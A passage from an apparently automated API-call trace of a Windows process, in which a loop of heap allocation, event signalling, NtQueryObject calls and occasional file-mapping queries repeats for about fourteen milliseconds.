Size=0x200) returned 0x107fd60 [0072.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.403] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.403] ResetEvent (hEvent=0x110) returned 1 [0072.403] SetEvent (hEvent=0x114) returned 1 [0072.403] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.403] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.403] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.403] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.403] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.404] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.404] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.404] ResetEvent (hEvent=0x110) returned 1 [0072.404] SetEvent (hEvent=0x114) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.404] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.404] ResetEvent (hEvent=0x110) returned 1 [0072.404] SetEvent (hEvent=0x114) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.404] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.404] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.404] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.404] ResetEvent (hEvent=0x110) returned 1 [0072.404] SetEvent (hEvent=0x114) returned 1 [0072.404] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.405] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.405] ResetEvent (hEvent=0x110) returned 1 [0072.405] SetEvent (hEvent=0x114) returned 1 [0072.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.405] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.405] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.405] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.405] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.405] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.405] ResetEvent (hEvent=0x110) returned 1 [0072.405] SetEvent (hEvent=0x114) returned 1 [0072.405] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.405] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.406] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.406] ResetEvent (hEvent=0x110) returned 1 [0072.406] SetEvent (hEvent=0x114) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.406] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.406] ResetEvent (hEvent=0x110) returned 1 [0072.406] SetEvent (hEvent=0x114) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.406] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.406] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.406] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.406] ResetEvent (hEvent=0x110) returned 1 [0072.406] SetEvent (hEvent=0x114) returned 1 [0072.406] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.407] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.407] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.407] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.407] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.407] ResetEvent (hEvent=0x110) returned 1 [0072.407] SetEvent (hEvent=0x114) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.407] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.407] ResetEvent (hEvent=0x110) returned 1 [0072.407] SetEvent (hEvent=0x114) returned 1 [0072.407] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.407] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.407] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.408] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.408] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.408] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.408] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.408] ResetEvent (hEvent=0x110) returned 1 [0072.408] SetEvent (hEvent=0x114) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.408] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.408] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.408] ResetEvent (hEvent=0x110) returned 1 [0072.408] SetEvent (hEvent=0x114) returned 1 [0072.408] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.408] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.408] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.408] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.408] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.408] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.408] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.409] ResetEvent (hEvent=0x110) returned 1 [0072.409] SetEvent (hEvent=0x114) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.409] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.409] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.409] ResetEvent (hEvent=0x110) returned 1 [0072.409] SetEvent (hEvent=0x114) returned 1 [0072.409] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.409] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.409] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.409] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.409] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.409] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.409] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.409] ResetEvent (hEvent=0x110) returned 1 [0072.409] SetEvent (hEvent=0x114) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.410] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.410] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.410] ResetEvent (hEvent=0x110) returned 1 [0072.410] SetEvent (hEvent=0x114) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.410] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.410] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.410] ResetEvent (hEvent=0x110) returned 1 [0072.410] SetEvent (hEvent=0x114) returned 1 [0072.410] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.410] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.410] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.410] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.411] ResetEvent (hEvent=0x110) returned 1 [0072.411] SetEvent (hEvent=0x114) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.411] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.411] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.411] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.411] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.411] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.411] ResetEvent (hEvent=0x110) returned 1 [0072.411] SetEvent (hEvent=0x114) returned 1 [0072.411] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.411] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.411] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.411] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.411] ResetEvent (hEvent=0x110) returned 1 [0072.411] SetEvent (hEvent=0x114) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.412] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.412] ResetEvent (hEvent=0x110) returned 1 [0072.412] SetEvent (hEvent=0x114) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.412] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.412] ResetEvent (hEvent=0x110) returned 1 [0072.412] SetEvent (hEvent=0x114) returned 1 [0072.412] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.412] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.412] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.412] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.412] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.413] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.413] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.413] ResetEvent (hEvent=0x110) returned 1 [0072.413] SetEvent (hEvent=0x114) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.413] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.413] ResetEvent (hEvent=0x110) returned 1 [0072.413] SetEvent (hEvent=0x114) returned 1 [0072.413] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.413] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.413] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.413] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.413] ResetEvent (hEvent=0x110) returned 1 [0072.413] SetEvent (hEvent=0x114) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.414] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.414] ResetEvent (hEvent=0x110) returned 1 [0072.414] SetEvent (hEvent=0x114) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.414] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.414] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.414] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.414] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.414] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.414] ResetEvent (hEvent=0x110) returned 1 [0072.414] SetEvent (hEvent=0x114) returned 1 [0072.414] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.415] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.415] ResetEvent (hEvent=0x110) returned 1 [0072.415] SetEvent (hEvent=0x114) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.415] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.415] ResetEvent (hEvent=0x110) returned 1 [0072.415] SetEvent (hEvent=0x114) returned 1 [0072.415] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.415] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.415] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.415] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.415] ResetEvent (hEvent=0x110) returned 1 [0072.415] SetEvent (hEvent=0x114) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.416] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.416] MapViewOfFile (hFileMappingObject=0x198, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.416] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.416] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.416] ResetEvent (hEvent=0x110) returned 1 [0072.416] SetEvent (hEvent=0x114) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.416] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.416] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.416] ResetEvent (hEvent=0x110) returned 1 [0072.416] SetEvent (hEvent=0x114) returned 1 [0072.416] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.416] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.417] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.417] NtQueryObject (in: Handle=0x198, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.417] 